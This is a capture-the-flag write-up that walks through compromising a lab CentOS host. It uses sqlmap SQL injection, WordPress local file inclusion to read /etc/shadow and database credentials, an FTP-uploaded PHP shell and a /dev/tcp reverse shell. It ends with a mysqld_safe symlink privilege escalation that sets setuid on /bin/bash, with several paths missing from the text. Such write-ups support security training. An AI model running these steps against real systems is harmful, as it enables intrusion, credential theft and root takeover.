Password Mismanagers [pentest]

Password Mismanagers

Flag is in the format: two_six{.*}

We're provided an openvpn config.


The challenge description is rather short, we discover a running machine on using nmap.

21/tcp   open  ftp     syn-ack ttl 64 vsftpd 3.0.2
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
3306/tcp open  mysql   syn-ack ttl 64 MySQL (unauthorized)
8000/tcp open  http    syn-ack ttl 64 PHP cli server 5.4

Password manager

Port 8000 exposes a web application called Password Manager on which is vulnerable to SQLi.

We dump credentials from the passwords table using sqlmap:

python --threads 3 \
                 --dbms mysql \
                 --random-agent \
                 --time-sec 2 \
                 -u "" \
                 --data "*&pass=&submit=login" \
                 -D pmanager -T passwords --dump
| ID | loginid | name    | user               | password       |
| 1  | bigsbee | bigsbee | | F54gB76&KxpF%3 |
| 3  | admin   | admin   | | jF5t^3dW3dxh!  |


Port 80 exposes a Wordpress instance. WPScan reveals some plugins, including:

[+] download-shortcode
 | Location:
 | Latest Version: 1.1 (up to date)
 | Last Updated: 2015-04-21T22:18:00.000Z

This plugin is vulnerable to - local file inclusion:
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
mysql:x:999:998:MySQL server:/var/lib/mysql:/bin/bash

We can also read /etc/shadow:


And wp-settings.php while we're at it:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpressuser');

/** MySQL database password */
define('DB_PASSWORD', 'G53DF76gd21$');


We can try the credentials we obtained from the Password Manager SQLi on the FTP server:

lftp bigsbee@

Using bigsbee:F54gB76&KxpF%3

cd ok, cwd=/var/ftp/pub            
lftp bigsbee@> ls -al
drwxrwxrwx    1 0        0            4096 Oct 30  2018 .
drwxr-xr-x    1 0        0            4096 Mar 21 23:02 ..

We're able to traverse the filesystem and find ourselves a writeable directory (the Wordpress wp-content directory) where we can upload a shell for RCE:

lftp bigsbee@> cd /var/www/html/wp-content
cd ok, cwd=/var/www/html/wp-content
lftp bigsbee@> put hax.php
799 bytes transferred in 2 seconds (532 B/s)   

We'll use the following for a reverse shell:

echo 'F54gB76&KxpF%3' | su - bigsbee -c "nohup bash -i >& /dev/tcp/ 0>&1 &"

And listen locally for the incoming connection:

nc -lp 1337
bash: no job control in this shell
[bigsbee@917d912f6467 ~]$ export TERM=xterm
[bigsbee@917d912f6467 ~]$ id
uid=1000(bigsbee) gid=1000(bigsbee) groups=1000(bigsbee)

The box is running Centos 7.7.

MySQL 5.5.51

To re-cap, we've collected 3 passwords so far:

  • bigsbee:F54gB76&KxpF%3
  • admin:jF5t^3dW3dxh!
  • wordpressuser:G53DF76gd21$

And apparently the system user mysql has a password set (as seen from /etc/shadow), and password G53DF76gd21$ works on that:

[bigsbee@917d912f6467 ~]$ echo 'G53DF76gd21$' | su - mysql -c "id"
Password: uid=999(mysql) gid=998(mysql) groups=998(mysql)

In addition, MySQL version 5.5.51 is vulnerable to some exploits, read about them here:

Exploiting locally

To further investigate the possibly of exploiting this vulnerability we'll mimick the remote locally using docker. The reader may follow these instructions for practice at home.

Create a Dockerfile:

FROM centos:7.7.1908
RUN echo "gigem{spotless}" > /root/flag
RUN yum --nogpgcheck -y install yum-utils wget vim which gcc gcc-c++ make autoconf build-essential unzip zip

RUN wget -O /tmp/mysql.rpm
RUN yum --nogpgcheck -y install /tmp/mysql.rpm
RUN wget -O /tmp/client.rpm
RUN yum --nogpgcheck -y install /tmp/client.rpm

CMD ["/bin/bash"]

Build and run the container:

docker pull centos:7.7.1908
docker build -t tamu_mysql .
docker run -it tamu_mysql


On the challenge server, the MySQL process tree looks like this:

root    14  11704  2724  /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --pid-file=/var/lib/mysql/
mysql  107  594848 63192  /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql ...

The default MySQL package comes with a mysqld_safe script which is used by many default installations/packages of MySQL as a wrapper to start the MySQL service process which can observed,

The main takeaway is that mysqld_safe monitors the mysqld process and will restart mysqld when it is killed. The mysqld_safe wrapper script is executed as root, whereas the main mysqld process drops its privileges to mysql user.

Inside our docker container we'll start mysqld_safe with the same arguments as on the challenge server:

nohup /usr/bin/mysqld_safe --datadir=/var/lib/mysql --pid-file=/var/lib/mysql/ &

We then switch to the mysql user and view mysql's home directory.

su mysql

cd ~/
ls -al /var/lib/mysql
total 28724
drwxr-xr-x 1 mysql mysql     4096 Mar 23 18:08 .
drwxr-xr-x 1 root  root      4096 Mar 23 01:57 ..
-rw------- 1 mysql mysql       64 Mar 23 18:08 .bash_history
-rw-r--r-- 1 root  root       111 Mar 23 01:57 RPM_UPGRADE_HISTORY
-rw-r--r-- 1 mysql mysql      111 Mar 23 01:57 RPM_UPGRADE_MARKER-LAST
-rw-rw---- 1 mysql mysql        4 Mar 23 18:08
-rw-r----- 1 mysql root      1969 Mar 23 18:08 ddf4bcd52d7c.err

As outlined in the CVE advisories, we'll try to achieve privilege escalation in the following steps:

  1. Delete the error logfile, which is called ddf4bcd52d7c.err in our case.
  2. Create a symlink called ddf4bcd52d7c.err that links to /etc/
  3. Create a shared library that will append a setuid bit to /bin/bash
  4. kill -9 the mysql process, at which point mysqld_safe will notice the process is down and restart it.
  5. Our hook kicks in, and alters /bin/bash as root.

Create our hook; /var/lib/mysql/chmod.c:

__attribute__((constructor)) void constructor(void) { chmod("/bin/bash", 04755); }

Compile it:

$ gcc -shared -fPIC -o chmod.c

Delete the error log:

rm ddf4bcd52d7c.err

Create a symlink that links to /etc/

ln -s /etc/ /var/lib/mysql/ddf4bcd52d7c.err

Verify the symlink exists:

lrwxrwxrwx 1 mysql mysql       18 Mar 23 18:12 ddf4bcd52d7c.err -> /etc/

Restart MySQL. It will create a /etc/ file owned by mysql. Make sure to kill mysqld, and not mysqld_safe:

kill -9 114

We observe that /etc/ has been created:

-rw-r----- 1 mysql root 19900 Mar 23 18:45 /etc/

Since we now own /etc/ with the mysql user we can simply echo the path to our library.

echo '/var/lib/mysql/' > /etc/

Restart MySQL one final time.

kill -9 164

And notice /bin/bash now has a setuid bit set:

-rwsr-xr-x 1 root root 964600 Aug  8  2019 /bin/bash

We can use bash to get a root shell:

$ /bin/bash -p

$ id
uid=999(mysql) gid=998(mysql) euid=0(root) groups=998(mysql)

$ whoami

Flag can be found at /root/flag